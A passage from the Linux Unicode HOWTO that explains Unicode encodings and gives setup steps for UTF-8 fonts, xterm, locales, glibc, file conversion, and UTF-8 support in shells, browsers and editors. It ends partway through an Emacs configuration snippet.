There are far more than 256 characters in the world - think of cyrillic, hebrew, arabic, chinese, japanese, korean and thai -, and new characters are being invented now and then. The problems that come up for users are:

  • It is impossible to store text with characters from different character sets in the same document. For example, I can cite russian papers in a German or French publication if I use TeX, xdvi and PostScript, but I cannot do it in plain text.
  • As long as every document has its own character set, and recognition of the character set is not automatic, manual user intervention is inevitable. For example, in order to view the homepage of the XTeamLinux distribution http://www.xteamlinux.com.cn/ I had to tell Netscape that the web page is coded in GB2312.
  • New symbols like the Euro are being invented. ISO has issued a new standard ISO-8859-15, which is mostly like ISO-8859-1 except that it removes some rarely used characters (the old currency sign) and replaced it with the Euro sign. If users adopt this standard, they have documents in different character sets on their disk, and they start having to think about it daily. But computers should make things simpler, not more complicated.

The solution of this problem is the adoption of a world-wide usable character set. This character set is Unicode http://www.unicode.org/. For more info about Unicode, do `man 7 unicode' (manpage contained in the man-pages-1.20 package).

1.2 Unicode encodings

This reduces the user's problem of dealing with character sets to a technical problem: How to transport Unicode characters using the 8-bit bytes? 8-bit units are the smallest addressing units of most computers and also the unit used by TCP/IP network connections. The use of 1 byte to represent 1 character is, however, an accident of history, caused by the fact that computer development started in Europe and the U.S. where 96 characters were found to be sufficient for a long time.

There are basically four ways to encode Unicode characters in bytes:

UTF-8

128 characters are encoded using 1 byte (the ASCII characters). 1920 characters are encoded using 2 bytes (Roman, Greek, Cyrillic, Coptic, Armenian, Hebrew, Arabic characters). 63488 characters are encoded using 3 bytes (Chinese and Japanese among others). The other 2147418112 characters (not assigned yet) can be encoded using 4, 5 or 6 characters. For more info about UTF-8, do `man 7 utf-8' (manpage contained in the man-pages-1.20 package).

UCS-2

Every character is represented as two bytes. This encoding can only represent the first 65536 Unicode characters.

UTF-16

This is an extension of UCS-2 which can represent 1112064 Unicode characters. The first 65536 Unicode characters are represented as two bytes, the other ones as four bytes.

UCS-4

Every character is represented as four bytes.

The space requirements for encoding a text, compared to encodings currently in use (8 bit per character for European languages, more for Chinese/Japanese/Korean), is as follows. This has an influence on disk storage space and network download speed (when no form of compression is used).

UTF-8

No change for US ASCII, just a few percent more for ISO-8859-1, 50% more for Chinese/Japanese/Korean, 100% more for Greek and Cyrillic.

UCS-2 and UTF-16

No change for Chinese/Japanese/Korean. 100% more for US ASCII and ISO-8859-1, Greek and Cyrillic.

UCS-4

100% more for Chinese/Japanese/Korean. 300% more for US ASCII and ISO-8859-1, Greek and Cyrillic.

Given the penalty for US and European documents caused by UCS-2, UTF-16, and UCS-4, it seems unlikely that these encodings have a potential for wide-scale use. The Microsoft Win32 API supports the UCS-2 encoding since 1995 (at least), yet this encoding has not been widely adopted for documents - SJIS remains prevalent in Japan.

UTF-8 on the other hand has the potential for wide-scale use, since it doesn't penalize US and European users, and since many text processing programs don't need to be changed for UTF-8 support.

In the following, we will describe how to change your Linux system so it uses UTF-8 as text encoding.

Footnotes for C/C++ developers

The Microsoft Win32 approach makes it easy for developers to produce Unicode versions of their programs: You "#define UNICODE" at the top of your program and then change many occurrences of `char' to `TCHAR', until your program compiles without warnings. The problem with it is that you end up with two versions of your program: one which understands UCS-2 text but no 8-bit encodings, and one which understands only old 8-bit encodings.

Moreover, there is an endianness issue with UCS-2 and UCS-4. The IANA character set registry http://www.isi.edu/in-notes/iana/assignments/character-sets says about ISO-10646-UCS-2: "this needs to specify network byte order: the standard does not specify". Network byte order is big endian. And RFC 2152 is even clearer: "ISO/IEC 10646-1:1993(E) specifies that when characters the UCS-2 form are serialized as octets, that the most significant octet appear first." Whereas Microsoft, in its C/C++ development tools, recommends to use machine-dependent endianness (i.e. little endian on ix86 processors) and either a byte-order mark at the beginning of the document, or some statistical heuristics(!).

The UTF-8 approach on the other hand keeps `char*' as the standard C string type. As a result, your program will handle US ASCII text, independently of any environment variables, and will handle both ISO-8859-1 and UTF-8 encoded text provided the LANG environment variable is set accordingly.

1.3 Related resources

Markus Kuhn's very up-to-date resource list:

  • http://www.cl.cam.ac.uk/~mgk25/unicode.html
  • http://www.cl.cam.ac.uk/~mgk25/ucs-fonts.html

Roman Czyborra's overview of Unicode, UTF-8 and UTF-8 aware programs: http://czyborra.com/utf/#UTF-8

Some example UTF-8 files:

  • In Markus Kuhn's ucs-fonts package: quickbrown.txt, UTF-8-test.txt, UTF-8-demo.txt.
  • http://www.columbia.edu/kermit/utf8.html
  • ftp://ftp.cs.su.oz.au/gary/x-utf8.html
  • The file iso10646 in the Kosta Kostis' trans-1.1.1 package ftp://ftp.nid.ru/pub/os/unix/misc/trans111.tar.gz
  • ftp://ftp.dante.de/pub/tex/info/lwc/apc/utf8.html
  • http://www.cogsci.ed.ac.uk/~richard/unicode-sample.html


The Unicode HOWTO: Display setup

 Next Previous Contents

2. Display setup

We assume you have already adapted your Linux console and X11 configuration to your keyboard and locale. This is explained in the Danish/International HOWTO, and in the other national HOWTOs: Finnish, French, German, Italian, Polish, Slovenian, Spanish, Cyrillic, Hebrew, Chinese, Thai, Esperanto. But please do not follow the advice given in the Thai HOWTO, to pretend you were using ISO-8859-1 characters (U0000..U00FF) when what you are typing are actually Thai characters (U0E01..U0E5B). Doing so will only cause problems when you switch to Unicode.

2.1 Linux console

I'm not talking much about the Linux console here, because on those machines on which I don't have xdm running, I use it only to type my login name, my password, and "xinit".

Anyway, the kbd-0.99 package ftp://sunsite.unc.edu/pub/Linux/system/keyboards/kbd-0.99.tar.gz and a heavily extended version, the console-tools-0.2.3 package ftp://sunsite.unc.edu/pub/Linux/system/keyboards/console-tools-0.2.3.tar.gz contains in the kbd-0.99/src/ (or console-tools-0.2.3/screenfonttools/) directory two programs: `unicode_start' and `unicode_stop'. When you call `unicode_start', the console's screen output is interpreted as UTF-8. Also, the keyboard is put into Unicode mode (see "man kbd_mode"). In this mode, Unicode characters typed as Alt-x1 ... Alt-xn (where x1,...,xn are digits on the numeric keypad) will be emitted in UTF-8. If your keyboard or, more precisely, your normal keymap has non-ASCII letter keys (like the German Umlaute) which you would like to be CapsLockable, you need to apply the kernel patch linux-2.2.9-keyboard.diff or linux-2.3.12-keyboard.diff.

You will want to use display characters from different scripts on the same screen. For this, you need a Unicode console font. The ftp://sunsite.unc.edu/pub/Linux/system/keyboards/kbd-0.99.tar.gz and ftp://sunsite.unc.edu/pub/Linux/system/keyboards/console-data-1999.08.29.tar.gz packages contain a font (LatArCyrHeb-{08,14,16,19}.psf) which covers Latin, Cyrillic, Hebrew, Arabic scripts. It covers ISO 8859 parts 1,2,3,4,5,6,8,9,10 all at once. To install it, copy it to /usr/lib/kbd/consolefonts/ and execute "/usr/bin/setfont /usr/lib/kbd/consolefonts/LatArCyrHeb-14.psf".

A more flexible approach is given by Dmitry Yu. Bolkhovityanov <D.Yu.Bolkhovityanov@inp.nsk.su> in http://www.inp.nsk.su/~bolkhov/files/fonts/univga/index.html and http://www.inp.nsk.su/~bolkhov/files/fonts/univga/uni-vga.tgz. To work around the constraint that a VGA font can only cover 512 characters simultaneously, he provides a rich Unicode font (2279 characters, covering Latin, Greek, Cyrillic, Hebrew, Armenian, IPA, math symbols, arrows, and more) in the typical 8x16 size and a script which permits to extract any 512 characters as a console font.

If you want cut&paste to work with UTF-8 consoles, you need the patch linux-2.3.12-console.diff from Edmund Thomas Grimley Evans and Stanislav Voronyi.

In April 2000, Edmund Thomas Grimley Evans <edmundo@rano.org> has implemented an UTF-8 console terminal emulator. It uses Unicode fonts and relies on the Linux frame buffer device.

2.2 X11 Foreign fonts

Don't hesitate to install Cyrillic, Chinese, Japanese etc. fonts. Even if they are not Unicode fonts, they will help in displaying Unicode documents: at least Netscape Communicator 4 and Java will make use of foreign fonts when available.

The following programs are useful when installing fonts:

  • "mkfontdir directory" prepares a font directory for use by the X server, needs to be executed after installing fonts in a directory.
  • "xset -q | sed -e '1,/^Font Path:/d' | sed -e '2,$d' -e 's/^ //'" displays the X server's current font path.
  • "xset fp+ directory" adds a directory to the X server's current font path. To add a directory permanently, add a "FontPath" line to your /etc/XF86Config file, in section "Files".
  • "xset fp rehash" needs to be executed after calling mkfontdir on a directory that is already contained in the X server's current font path.
  • "xfontsel" allows you to browse the installed fonts by selecting various font properties.
  • "xlsfonts -fn fontpattern" lists all fonts matching a font pattern. Also displays various font properties. In particular, "xlsfonts -ll -fn font" lists the font properties CHARSET_REGISTRY and CHARSET_ENCODING, which together determine the font's encoding.
  • "xfd -fn font" displays a font page by page.

The following fonts are freely available (not a complete list):

  • The ones contained in XFree86, sometimes packaged in separate packages. For example, SuSE has only normal 75dpi fonts in the base `xf86' package. The other fonts are in the packages `xfnt100', `xfntbig', `xfntcyr', `xfntscl'.
  • The Emacs international fonts, ftp://ftp.gnu.org/pub/gnu/intlfonts/intlfonts-1.2.tar.gz As already mentioned, they are useful even if you prefer XEmacs to GNU Emacs or don't use any Emacs at all.

2.3 X11 Unicode fonts

Applications wishing to display text belonging to different scripts (like Cyrillic and Greek) at the same time, can do so by using different X fonts for the various pieces of text. This is what Netscape Communicator and Java do. However, this approach is more complicated, because instead of working with `Font' and `XFontStruct', the programmer has to deal with `XFontSet', and also because not all fonts in the font set need to have the same dimensions.

  • Markus Kuhn has assembled fixed-width 75dpi fonts with Unicode encoding covering Latin, Greek, Cyrillic, Armenian, Georgian, Hebrew scripts and many symbols. They cover ISO 8859 parts 1,2,3,4,5,7,8,9,10,13,14,15,16 all at once. These fonts are required for running xterm in utf-8 mode. They are now contained in XFree86 4.0.1, therefore you need to install them manually only if you have an older XFree86 3.x version. http://www.cl.cam.ac.uk/~mgk25/download/ucs-fonts.tar.gz.
  • Markus Kuhn has also assembled double-width fixed 75dpi fonts with Unicode encoding covering Chinese, Japanese and Korean. These fonts are contained in XFree86 4.0.1 as well. http://www.cl.cam.ac.uk/~mgk25/download/ucs-fonts-asian.tar.gz
  • Roman Czyborra has assembled an 8x16 / 16x16 75dpi font with Unicode encoding covering a huge part of Unicode. Download unifont.hex.gz and hex2bdf from http://czyborra.com/unifont/. It is not fixed-width: 8 pixels wide for European characters, 16 pixels wide for Chinese characters. Installation instructions:
    $ gunzip unifont.hex.gz
$ hex2bdf < unifont.hex > unifont.bdf
$ bdftopcf -o unifont.pcf unifont.bdf
$ gzip -9 unifont.pcf
# cp unifont.pcf.gz /usr/X11R6/lib/X11/fonts/misc
# cd /usr/X11R6/lib/X11/fonts/misc
# mkfontdir
# xset fp rehash
  • Primoz Peterlin has assembled an ETL family fonts covering Latin, Greek, Cyrillic, Armenian, Georgian, Hebrew scripts. ftp://ftp.x.org/contrib/fonts/etl-unicode.tar.gz Use the "bdftopcf" program in order to install it.
  • Mark Leisher has assembled a proportional, 17 pixel high (12 point), font, called ClearlyU, covering Latin, Greek, Cyrillic, Armenian, Georgian, Hebrew, Thai, Laotian scripts. http://crl.nmsu.edu/~mleisher/cu.html. Installation instructions:
    $ bdftopcf -o cu12.pcf cu12.bdf
$ gzip -9 cu12.pcf
# cp cu12.pcf.gz /usr/X11R6/lib/X11/fonts/misc
# cd /usr/X11R6/lib/X11/fonts/misc
# mkfontdir
# xset fp rehash

2.4 Unicode xterm

xterm is part of X11R6 and XFree86, but is maintained separately by Tom Dickey. http://www.clark.net/pub/dickey/xterm/xterm.html Newer versions (patch level 146 and above) contain support for converting keystrokes to UTF-8 before sending them to the application running in the xterm, and for displaying Unicode characters that the application outputs as UTF-8 byte sequence. It also contains support for double-wide characters (mostly CJK ideographs) and combining characters, contributed by Robert Brady <robert@suse.co.uk>.

To get an UTF-8 xterm running, you need to:

  • Fetch http://www.clark.net/pub/dickey/xterm/xterm.tar.gz,
  • Configure it by calling "./configure --enable-wide-chars ...", then compile and install it.
  • Have a Unicode fixed-width font installed. Markus Kuhn's ucs-fonts.tar.gz (see above) is made for this.
  • Start "xterm -u8 -fn '-misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso10646-1'". The option "-u8" turns on Unicode and UTF-8 handling. The font designated by the long "-fn" option is Markus Kuhn's Unicode font. Without this option, the default font called "fixed" would be used, an ISO-8859-1 6x13 font.
  • Take a look at the sample files contained in Markus Kuhn's ucs-fonts package:
    $ cd .../ucs-fonts
$ cat quickbrown.txt
$ cat utf-8-demo.txt
    You should be seeing (among others) greek and russian characters.
  • To make xterm come up with UTF-8 handling each time it is started, add the lines
    xterm*utf8:   1
xterm*VT100*font:  -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso10646-1
xterm*VT100*wideFont:  -misc-fixed-medium-r-normal-ja-13-125-75-75-c-120-iso10646-1
xterm*VT100*boldFont:  -misc-fixed-bold-r-semicondensed--13-120-75-75-c-60-iso10646-1
    to your $HOME/.Xdefaults (for yourself only). For CJK text processing with double-width characters, the following settings are probably better:
    xterm*VT100*font:     -Misc-Fixed-Medium-R-Normal--18-120-100-100-C-90-ISO10646-1
xterm*VT100*wideFont: -Misc-Fixed-Medium-R-Normal-ja-18-120-100-100-C-180-ISO10646-1
    I don't recommend changing the system-wide /usr/X11R6/lib/X11/app-defaults/XTerm, because then your changes will be erased next time you upgrade to a new XFree86 version.

2.5 TrueType fonts

The fonts mentioned above are fixed size and not scalable. For some applications, especially printing, high resolution fonts are necessary, though. The most important type of scalable, high resolution fonts are TrueType fonts. They are currently supported by

  • XFree86 4.0.1; you need to add the line
        Load "freetype"
    or
        Load "xtt"
    to the "Module" section of your XF86Config file.
  • The display engines of other operating systems.
  • The yudit editor, see below, and its printing engine.

Some no-cost TrueType fonts with large Unicode coverage are

Bitstream Cyberbit

Covers Roman, Cyrillic, Greek, Hebrew, Arabic, combining diacritical marks, Chinese, Korean, Japanese, and more.

Downloadable from ftp://ftp.netscape.com/pub/communicator/extras/fonts/windows/Cyberbit.ZIP. It is free for non-commercial purposes.

Microsoft Arial

Covers Roman, Cyrillic, Greek, Hebrew, Arabic, some combining diacritical marks, Vietnamese.

Downloadable; look on a search engine for ftp-able files called arial.ttf, ariali.ttf, arialbd.ttf, arialbi.ttf.

Lucida Sans Unicode

Covers Roman, Cyrillic, Greek, Hebrew, combining diacritical marks.

Download: contained in IBM's JDK 1.3.0 for Linux, at http://www.ibm.com/java/jdk/linux130/, or directly downloadable as LucidaSansRegular.ttf and LucidaSansOblique.ttf from ftp://ftp.maths.tcd.ie/Linux/opt/IBMJava2-13/jre/lib/fonts/.

Arphic

Cover Chinese (both traditional and simplified).

Download: at ftp://ftp.gnu.org/non-gnu/chinese-fonts-truetype/. These fonts are truly free.

Download locations for these and other TrueType fonts can be found at Christoph Singer's list of freely downloadable Unicode TrueType fonts http://www.ccss.de/slovo/unifonts.htm.

Truetype fonts are installed similarly to fixed size fonts, except that they go in a separate directory, and that ttmkfdir must be called before mkfontdir:

# mkdir -p /usr/X11R6/lib/X11/fonts/truetype
# cp /somewhere/Cyberbit.ttf ... /usr/X11R6/lib/X11/fonts/truetype
# cd /usr/X11R6/lib/X11/fonts/truetype
# ttmkfdir > fonts.scale
# mkfontdir
# xset fp rehash

TrueType fonts can be converted to low resolution, non-scalable X11 fonts by use of Mark Leisher's ttf2bdf utility ftp://crl.nmsu.edu/CLR/multiling/General/ttf2bdf-2.8-LINUX.tar.gz. For example, to generate a proportional Unicode font for use with cooledit:

# cd /usr/X11R6/lib/X11/fonts/local
# ttf2bdf ../truetrype/Cyberbit.ttf > cyberbit.bdf
# bdftopcf -o cyberbit.pcf cyberbit.bdf
# gzip -9 cyberbit.pcf
# mkfontdir
# xset fp rehash

More information about TrueType fonts can be found in the Linux TrueType HOWTO http://www.moisty.org/~brion/linux/TrueType-HOWTO.html.

2.6 Miscellaneous

A small program which tests whether a Linux console or xterm is in UTF-8 mode can be found in the ftp://sunsite.unc.edu/pub/Linux/system/keyboards/x-lt-1.24.tar.gz package by Ricardas Cepas, files testUTF-8.c and testUTF8.c. Most applications should not use this, however: they should look at the environment variables, see section "Locale environment variables".


The Unicode HOWTO: Locale setup

 Next Previous Contents

3. Locale setup

3.1 Files & the kernel

You can now already use any Unicode characters in file names. No kernel or file utilities need modifications. This is because file names in the kernel can be anything not containing a null byte, and '/' is used to delimit subdirectories. When encoded using UTF-8, non-ASCII characters will never be encoded using null bytes or slashes. All that happens is that file and directory names occupy more bytes than they contain characters. For example, a filename consisting of five greek characters will appear to the kernel as a 10-byte filename. The kernel does not know (and does not need to know) that these bytes are displayed as greek.

This is the general theory, as long as your files stay inside Linux. On filesystems which are used from other operating systems, you have mount options to control conversion of filenames to/from UTF-8:

  • The "vfat" filesystems has a mount option "utf8". See file:/usr/src/linux/Documentation/filesystems/vfat.txt. When you give an "iocharset" mount option different from the default (which is "iso8859-1"), the results with and without "utf8" are not consistent. Therefore I don't recommend the "iocharset" mount option.
  • The "msdos", "umsdos" filesystems have the same mount option, but it appears to have no effect.
  • The "iso9660" filesystem has a mount option "utf8". See file:/usr/src/linux/Documentation/filesystems/isofs.txt.
  • Since Linux 2.2.x kernels, the "ntfs" filesystem has a mount option "utf8". See file:/usr/src/linux/Documentation/filesystems/ntfs.txt.
The other filesystems (nfs, smbfs, ncpfs, hpfs, etc.) don't convert filenames; therefore they support Unicode file names in UTF-8 encoding only if the other operating system supports them. Recall that to enable a mount option for all future remounts, you add it to the fourth column of the corresponding /etc/fstab line.

3.2 Upgrading the C library

glibc-2.2 supports multibyte locales, in particular UTF-8 locales. But glibc-2.1.x and earlier C libraries do not support it. Therefore you need to upgrade to glibc-2.2. Upgrading from glibc-2.1.x is riskless, because glibc-2.2 is binary compatible with glibc-2.1.x (at least on i386 platforms, and except for IPv6). Nevertheless, I recommend to have a bootable rescue disk handy in case something goes wrong.

Prepare the kernel sources. You must have them unpacked and configured. /usr/src/linux/include/linux/autoconf.h must exist. Building the kernel is not needed.

Retrieve the glibc sources ftp://ftp.gnu.org/pub/gnu/glibc/, su to root, then unpack, build and install it:

# unset LD_PRELOAD
# unset LD_LIBRARY_PATH
# tar xvfz glibc-2.2.tar.gz
# tar xvfz glibc-linuxthreads-2.2.tar.gz -C glibc-2.2
# mkdir glibc-2.2-build
# cd glibc-2.2-build
# ../glibc-2.2/configure --prefix=/usr --with-headers=/usr/src/linux/include --enable-add-ons
# make
# make check
# make info
# LC_ALL=C make install
# make localedata/install-locales

Upgrading from glibc versions earlier than 2.1.x cannot be done this way; consider first installing a Linux distribution based on glibc-2.1.x, and then upgrading to glibc-2.2 as described above.

Note that if -- for any reason -- you want to rebuild GCC after having installed glibc-2.2, you need to first apply this patch gcc-glibc-2.2-compat.diff to the GCC sources.

3.3 General data conversion

You will need a program to convert your locally (probably ISO-8859-1) encoded texts to UTF-8. (The alternative would be to keep using texts in different encodings on the same machine; this is not fun in the long run.) One such program is `iconv', which comes with glibc-2.2. Simply use

$ iconv --from-code=ISO-8859-1 --to-code=UTF-8 < old_file > new_file

Here are two handy shell scripts, called "i2u" i2u.sh (for ISO to UTF conversion) and "u2i" u2i.sh (for UTF to ISO conversion). Adapt according to your current 8-bit character set.

If you don't have glibc-2.2 and iconv installed, you can use GNU recode 3.6 instead. "i2u" i2u_recode.sh is "recode ISO-8859-1..UTF-8", and "u2i" u2i_recode.sh is "recode UTF-8..ISO-8859-1". ftp://ftp.gnu.org/pub/gnu/recode/recode-3.6.tar.gz

Or you can also use CLISP instead. Here are "i2u" i2u.lisp and "u2i" u2i.lisp written in Lisp. Note: You need a CLISP version from July 1999 or newer. ftp://clisp.cons.org/pub/lisp/clisp/source/clispsrc.tar.gz.

Other data conversion programs, less powerful than GNU recode, are `trans' ftp://ftp.informatik.uni-erlangen.de/pub/doc/ISO/charsets/trans113.tar.gz, `tcs' from the Plan9 operating system ftp://ftp.informatik.uni-erlangen.de/pub/doc/ISO/charsets/tcs.tar.gz, and `utrans'/`uhtrans'/`hutrans' ftp://ftp.cdrom.com/pub/FreeBSD/distfiles/i18ntools-1.0.tar.gz by G. Adam Stanislav <adam@whizkidtech.net>.

For the repeated conversion of files to UTF-8 from different character sets, a semi-automatic tool can be used: to-utf8 presents the non-ASCII parts of a file to the user, lets him decide about the file's original character set, and then converts the file to UTF-8.

3.4 Locale environment variables

You may have the following environment variables set, containing locale names:

LANGUAGE

override for LC_MESSAGES, used by GNU gettext only

LC_ALL

override for all other LC_* variables

LC_CTYPE, LC_MESSAGES, LC_COLLATE, LC_NUMERIC, LC_MONETARY, LC_TIME

individual variables for: character types and encoding, natural language messages, sorting rules, number formatting, money amount formatting, date and time display

LANG

default value for all LC_* variables

(See `man 7 locale' for a detailed description.)

Each of the LC_* and LANG variables can contain a locale name of the following form:

language[_territory[.codeset]][@modifier]

where language is an ISO 639 language code (lower case), territory is an ISO 3166 country code (upper case), codeset denotes a character set, and modifier stands for other particular attributes (for example indicating a particular language dialect, or a nonstandard orthography).

LANGUAGE can contain several locale names, separated by colons.

In order to tell your system and all applications that you are using UTF-8, you need to add a codeset suffix of UTF-8 to your locale names. For example, if you were using

LC_CTYPE=de_DE
you would change this to
LC_CTYPE=de_DE.UTF-8

You do not need to change your LANGUAGE environment variable. GNU gettext in glibc-2.2 has the ability to convert translations to the right encoding.

3.5 Creating the locale support files

You create using localedef the support files for each UTF-8 locale you intend to use, for example:

$ localedef -v -c -i de_DE -f UTF-8 de_DE.UTF-8

You typically don't need to create locales named "de" or "fr" without country suffix, because these locales are normally only used by the LANGUAGE variable and not by the LC_* variables, and LANGUAGE is only used as an override for LC_MESSAGES.


The Unicode HOWTO: Specific applications

 Next Previous Contents

4. Specific applications

4.1 Shells

bash

By default, GNU bash assumes that every character is one byte long and one column wide. A patch for bash 2.04, by Marcin 'Qrczak' Kowalczyk and Ricardas Cepas, teaches bash about multibyte characters in UTF-8 encoding. bash-2.04-diff

Double-width characters, combining characters and bidi are not supported by this patch. It seems a complete redesign of the readline redisplay engine is needed.

4.2 Networking

telnet

In some installations, telnet is not 8-bit clean by default. In order to be able to send Unicode keystrokes to the remote host, you need to set telnet into "outbinary" mode. There are two ways to do this:

$ telnet -L <host>
and
$ telnet
telnet> set outbinary
telnet> open <host>

kermit

The communications program C-Kermit http://www.columbia.edu/kermit/ckermit.html, (an interactive tool for connection setup, telnet, file transfer, with support for TCP/IP and serial lines), in versions 7.0 or newer, understands the file and transfer encodings UTF-8 and UCS-2, and understands the terminal encoding UTF-8, and converts between these encodings and many others. Documentation of these features can be found in http://www.columbia.edu/kermit/ckermit2.html#x6.6.

4.3 Browsers

Netscape

Netscape 4.05 or newer can display HTML documents in UTF-8 encoding. All a document needs is the following line between the <head> and </head> tags:

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

Netscape 4.05 or newer can also display HTML and text files in UCS-2 encoding with byte-order mark.

http://www.netscape.com/computing/download/

Mozilla

Mozilla milestone M16 has much better internationalization than Netscape 4. It can display HTML documents in UTF-8 encoding with support for more languages. Alas, there is a cosmetic problem with CJK fonts: some glyphs can be bigger than the line's height, thus overlapping the previous or next line.

http://www.mozilla.org/

Amaya

Amaya 4.2.1 ( http://www.w3.org/Amaya/, http://www.w3.org/Amaya/User/SourceDist) has now limited handling of UTF-8 encoded HTML pages. It recognizes the encoding, but it displays only ISO-8859-1 and symbol characters; it only ever accesses the fonts

  -adobe-times-*-iso8859-1
  -adobe-helvetica-*-iso8859-1
  -adobe-new century schoolbook-*-iso8859-1
  -adobe-courier-*-iso8859-1
  -adobe-symbol-*-adobe-fontspecific

Amaya is in fact a HTML editor, not only a browser. Amaya's strengths among the browsers are its speed, given enough memory, and its rendering of mathematical formulas (MathML support).

lynx

lynx-2.8 has an options screen (key 'O') which permits to set the display character set. When running in an xterm or Linux console in UTF-8 mode, set this to "UNICODE UTF-8". Note that for this setting to take effect in the current browser session, you have to confirm on the "Accept Changes" field, and for this setting to take effect in future browser sessions, you have to enable the "Save options to disk" field and then confirm it on the "Accept Changes" field.

Now, again, all a document needs is the following line between the <head> and </head> tags:

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

When you are viewing text files in UTF-8 encoding, you also need to pass the command-line option "-assume_local_charset=UTF-8" (affects only file:/... URLs) or "-assume_charset=UTF-8" (affects all URLs). In lynx-2.8.2 you can alternatively, in the options screen (key 'O'), change the assumed document character set to "utf-8".

There is also an option in the options screen, to set the "preferred document character set". But it has no effect, at least with file:/... URLs and with http://... URLs served by apache-1.3.0.

There is a spacing and line-breaking problem, however. (Look at the russian section of x-utf8.html, or at utf-8-demo.txt.)

Also, in lynx-2.8.2, configured with --enable-prettysrc, the nice colour scheme does not work correctly any more when the display character set has been set to "UNICODE UTF-8". This is fixed by a simple patch lynx282.diff.

The Lynx developers say: "For any serious use of UTF-8 screen output with lynx, compiling with slang lib and -DSLANG_MBCS_HACK is still recommended."

Latest stable release: ftp://ftp.gnu.org/pub/gnu/lynx/lynx-2.8.2.tar.gz

http://lynx.isc.org/

General home page: http://lynx.browser.org/

http://www.slcc.edu/lynx/

Newer development shapshots: http://lynx.isc.org/current/, ftp://lynx.isc.org/current/

w3m

w3m by Akinori Ito http://ei5nazha.yz.yamagata-u.ac.jp/~aito/w3m/eng/ is a text mode browser for HTML pages and plain-text files. Its layout of HTML tables, enumerations etc. is much prettier than lynx' one. w3m can also be used as a high quality HTML to plain text converter.

w3m 0.1.10 has command line options for the three major Japanese encodings, but can also be used for UTF-8 encoded files. Without command line options, you often have to press Ctrl-L to refresh the display, and line breaking in Cyrillic and CJK paragraphs is not good.

To fix this, by Hironori Sakamoto has a patch http://www2u.biglobe.ne.jp/~hsaka/w3m/ which adds UTF-8 as display encoding.

Test pages

Some test pages for browsers can be found at the pages of Alan Wood http://www.hclrss.demon.co.uk/unicode/#links and James Kass http://home.att.net/~jameskass/.

4.4 Editors

yudit

yudit by Gáspár Sinai http://www.yudit.org/ is a first-class unicode text editor for the X Window System. It supports simultaneous processing of many languages, input methods, conversions for local character standards. It has facilities for entering text in all languages with only an English keyboard, using keyboard configuration maps.

yudit-1.5

It can be compiled in three versions: Xlib GUI, KDE GUI, or Motif GUI.

Customization is very easy. Typically you will first customize your font. From the font menu I chose "Unicode". Then, since the command "xlsfonts '*-*-iso10646-1'" still showed some ambiguity, I chose a font size of 13 (to match Markus Kuhn's 13-pixel fixed font).

Next, you will customize your input method. The input methods "Straight", "Unicode" and "SGML" are most remarkable. For details about the other built-in input methods, look in /usr/local/share/yudit/data/.

To change the default for the next session, edit your $HOME/.yuditrc file.

The general editor functionality is limited to editing, cut&paste and search&replace. No undo.

yudit-2.1

This version is less easy to learn, because it comes with a homebrewn GUI and no easily accessible help. But it has an undo functionality and should therefore be more usable than version 1.5.

Fonts for yudit

yudit can display text using a TrueType font; see section "TrueType fonts" above. The Bitstream Cyberbit gives good results. For yudit to find the font, symlink it to /usr/local/share/yudit/data/cyberbit.ttf.

vim

vim (as of version 6.0r) has good support for UTF-8: when started in an UTF-8 locale, it assumes UTF-8 encoding for the console and the text files being edited. It supports double-wide (CJK) characters as well and combining characters and therefore fits perfectly into UTF-8 enabled xterm.

Installation: Download from http://www.vim.org/. After unpacking the four parts, call ./configure with --with-features=big --enable-multibyte arguments (or edit src/Makefile to include the --with-features=big and --enable-multibyte options). This will turn on the feature FEAT_MBYTE. Then do "make" and "make install".

vim can be used to edit files in other encodings. For example, to edit a BIG5 encoded file: :e ++cc=BIG5 filename. All encoding names supported by iconv are accepted. Plus: vim automatically distinguishes UTF-8 and ISO-8859-1 files without needing any command line option.

cooledit

cooledit by Paul Sheer http://www.cooledit.org/ is a good text editor for the X Window System. Since version 3.15, it has support for Unicode, including Bidi for Hebrew (but not Arabic).

A build error message message about a missing "vga_setpage" function is worked around by adding "-DDO_NOT_USE_VGALIB" to the CFLAGS.

To view UTF-8 files in an UTF-8 locale you have to modify a setting in the "Options -> Switches" panel: Enable the checkbox "Display characters outside locale". I also found it necessary to disable "Spellcheck as you type".

For viewing texts with both European and CJK characters, cooledit needs a font which contains both, for example the GNU unifont (see section "X11 Unicode fonts"): Start once

$ cooledit -fn -gnu-unifont-medium-r-normal--16-160-75-75-c-80-iso10646-1
cooledit will then use this font in all future invocations.

Unfortunately, the only characters that can be entered through the keyboard are ISO-8859-1 characters and, through a cooledit specific compose mechanism, ISO-8859-2 characters. Inputing arbitrary Unicode characters in cooledit is possible, but a bit tedious.

emacs

First of all, you should read the section "International Character Set Support" (node "International") in the Emacs manual. In particular, note that you need to start Emacs using the command

$ emacs -fn fontset-standard
so that it will use a font set comprising a lot of international characters.

In the short term, there are two packages for using UTF-8 in Emacs. None of them needs recompiling Emacs.

  • The emacs-utf package http://www.cs.ust.hk/faculty/otfried/Mule/ by Otfried Cheong provides a "unicode-utf8" encoding to Emacs.
  • The oc-unicode package http://www.cs.ust.hk/faculty/otfried/Mule/, by Otfried Cheong, an extension of the Mule-UCS package ftp://etlport.etl.go.jp/pub/mule/Mule-UCS/Mule-UCS-0.70.tar.gz (mirrored at http://riksun.riken.go.jp/archives/misc/mule/Mule-UCS/Mule-UCS-0.70.tar.gz and ftp://ftp.m17n.org/pub/mule/Mule-UCS/Mule-UCS-0.70.tar.gz) by Hisashi Miyashita, provides a "utf-8" encoding to Emacs.

You can use either of these packages, or both together. The advantages of the emacs-utf "unicode-utf8" encoding are: it loads faster, and it deals better with combining characters (important for Thai). The advantage of the Mule-UCS / oc-unicode "utf-8" encoding is: it can apply to a process buffer (such as M-x shell), not only to loading and saving of files; and it respects the widths of characters better (important for Ethiopian). However, it is less reliable: After heavy editing of a file, I have seen some Unicode characters replaced with U+FFFD after the file was saved. (But maybe that were bugs in Emacs 20.5 and 20.6 which are fixed in Emacs 20.7.)

To install the emacs-utf package, compile the program "utf2mule" and install it somewhere in your $PATH, also install unicode.el, muleuni-1.el, unicode-char.el somewhere. Then add the lines

(setq load-path (cons "/home/user/somewhere/emacs" load-path))
(if (not (string-match "XEmacs" emacs-version))
  (progn
    (require 'unicode)
    ;(setq unicode-data-path "..../UnicodeData-3.0.0.txt")
    (if (eq window-system 'x)
      (progn
